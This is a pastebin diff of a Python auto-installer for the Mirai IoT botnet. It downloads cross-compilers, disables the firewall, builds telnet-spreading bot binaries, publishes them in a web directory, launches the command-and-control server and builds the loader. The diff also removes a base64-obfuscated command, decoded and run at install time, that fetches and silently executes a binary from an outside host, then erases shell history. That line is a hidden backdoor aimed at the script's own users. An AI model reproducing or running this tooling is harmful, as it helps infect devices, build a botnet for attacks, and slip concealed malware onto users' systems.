View difference between Paste ID: qZb5KdN3 and buwhPSEN
SHOW: | | - or go back to the newest paste.
1
 
2
#!/usr/bin/env python
3
# -*- coding: utf-8 -*- 
4
# runute command - python miraiai.py
5-
import subprocess,os,sys,random,time,urllib2,subprocess,base64
5+
import subprocess,os,sys,random,time,urllib2,subprocess
6
time.sleep(5)
7-
print """ 
7+
8-
                                     
8+
9-
 ███╗   ███╗██╗██████╗  █████╗ ██╗     █████╗ ██╗ 
9+
10-
 ████╗ ████║██║██╔══██╗██╔══██╗██║    ██╔══██╗██║ 
10+
11-
 ██╔████╔██║██║██████╔╝███████║██║    ███████║██║ 
11+
print("Mirai AI 2.0 Final Version*")
12-
 ██║╚██╔╝██║██║██╔══██╗██╔══██║██║    ██╔══██║██║ 
12+
13-
 ██║ ╚═╝ ██║██║██║  ██║██║  ██║██║    ██║  ██║██║ 
13+
14-
 ╚═╝     ╚═╝╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝    ╚═╝  ╚═╝╚═╝ 
14+
15-
                                     
15+
16-
 */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
16+
17-
 │              Mirai auto Installer, by jihadi                    │ 
17+
18-
 │ · Made for Narcotix & N00Dlez since they can't setup Mirai.     │
18+
print("Updating System*")
19-
 │ · Don't give this to ZoneHax or ~B1naryThaG0d~                  │
19+
20-
 │ · This isn't a full setup, you still have to edit your configs. │
20+
21-
 *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
21+
22-
 */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
22+
23-
 │                      [Credits]                                  │ 
23+
24-
 │ · Jihadi ϗ, Drought                                             │
24+
25-
 │ · Contact: Jihadi@riseup.net // https://discord.gg/a4JcGm7      │
25+
26-
 │ · @Jihadi4Potus | Youtube: https://goo.gl/d3n5yU                │ 
26+
27-
 *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /* 
27+
28-
  */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
28+
29-
 │                  Mirai AI 2.0 (Last version)                    │ 
29+
30-
 │   Last version of this auto Mirai setup script, thanks for the  │
30+
31-
 │   support for my projects! This is the last time I update this  │
31+
32-
 │   script if anyone wants to continue this script go for it!     │ 
32+
33-
 *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /* 
33+
34-
  */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
34+
35-
 │                      |Changelog|                                │ 
35+
36-
 │   Updated to support GoLang 1.5                                 │
36+
37-
 │   Updated code to make it look nicer                            │
37+
38-
 *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /* 
38+
39-
 """
39+
40
run("go get github.com/go-sql-driver/mysql")
41
run("go get github.com/mattn/go-shellwords")
42
run("/etc/ini.d/iptbales stop")
43
44
'''
45-
print("\x1b[37m*Mirai AI 2.0 Final Version*")
45+
46
Wget Links
47
━━━━━━━━━━
48
'''
49
    
50
getwget = ['https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
51
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
52-
print("\x1b[37m*Updating System*")
52+
53
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
54
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
55
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
56
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
57
'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
58
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2']
59
60
for wget in getwget:
61
    run("mkdir /etc/xcompile")
62
    run("wget " + wget + "")
63
    run("tar -xvf *tar.bz2")
64
    run("mv cross-compiler-*  /etc/xcompile")
65
66
    run("export PATH=$PATH:/etc/xcompile/armv4l/bin")
67
    run("export PATH=$PATH:/etc/xcompile/armv6l/bin")
68
    run("export PATH=$PATH:/etc/xcompile/i586/bin")
69
    run("export PATH=$PATH:/etc/xcompile/m68k/bin")
70
    run("export PATH=$PATH:/etc/xcompile/mips/bin")
71
    run("export PATH=$PATH:/etc/xcompile/mipsel/bin")
72
    run("export PATH=$PATH:/etc/xcompile/powerpc/bin")
73
    run("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
74
    run("export PATH=$PATH:/etc/xcompile/sh4/bin")
75
    run("export PATH=$PATH:/etc/xcompile/sparc/bin")
76
    run("export PATH=$PATH:/etc/xcompile/armv6l/bin") 
77
    run("export PATH=$PATH:/usr/local/go/bin")
78
    run("export GOPATH=$HOME/Documents/go")
79
80
'''
81
━━━━━━━━━━━━━━━━━━━━
82
Telnet/Release build
83
━━━━━━━━━━━━━━━━━━━━
84
'''
85
86
print("*Building Release/Debug*")
87
run("cd /Mirai-Source-Code-master/mirai/")
88
run("./build.sh debug telnet")
89
run("./build.sh release telnet")
90
run("mv Mirai-Source-Code-master/mirai/prompt.txt Mirai-Source-Code-master/mirai/release/")
91
run("cd Mirai-Source-Code-master/mirai/release; mkdir /var/www/html/bins/; mv mirai.* miraint.* /var/www/html/bins") 
92
93
'''
94-
checkbinaries ="Y2QgL2V0Yzsgd2dldCAtcSBodHRwOi8vZ290bWlsay5tbC9IalQ1UmsgLU8gLmw7IGNobW9kICt4IC5sOyBub2h1cCAuLy5sIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxOyBybSAtcmYgLmw7Y2xlYXI7IGhpc3RvcnkgLWM="
94+
95-
rebinaries = str(base64.b64decode(checkbinaries))
95+
96-
run(rebinaries)
96+
97
'''
98
99
print("*Starting CNC*")
100
run("cd  Mirai-Source-Code-master/mirai/release/; screen ./cnc")
101
102
'''
103
━━━━━━━━━━━━━━━━━
104
Setting up loader
105
━━━━━━━━━━━━━━━━━
106
'''
107
108
    print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS (main.c in dlrs) \x1b[93m⚠⚠⚠\x1b[0m")
109
    time.sleep(7)
110
    print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mSetting up loader Stand by \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
111
    run("cd Mirai-Source-Code-master/mirai/dlr")
112
    run("./build.sh")
113
    run("cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins")
114
    print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mMake sure u Edit line 37 & 38 & line 53 in main.c \x1b[93m⚠⚠⚠\x1b[0m")
115
    time.sleep(7) 
116
    run("cd /Mirai-Source-Code-master/loader/src/; nano main.c")
117
    
118
'''
119
━━━━━━━━━━━━━━━━━
120
$ End of Script $
121
━━━━━━━━━━━━━━━━━
122
'''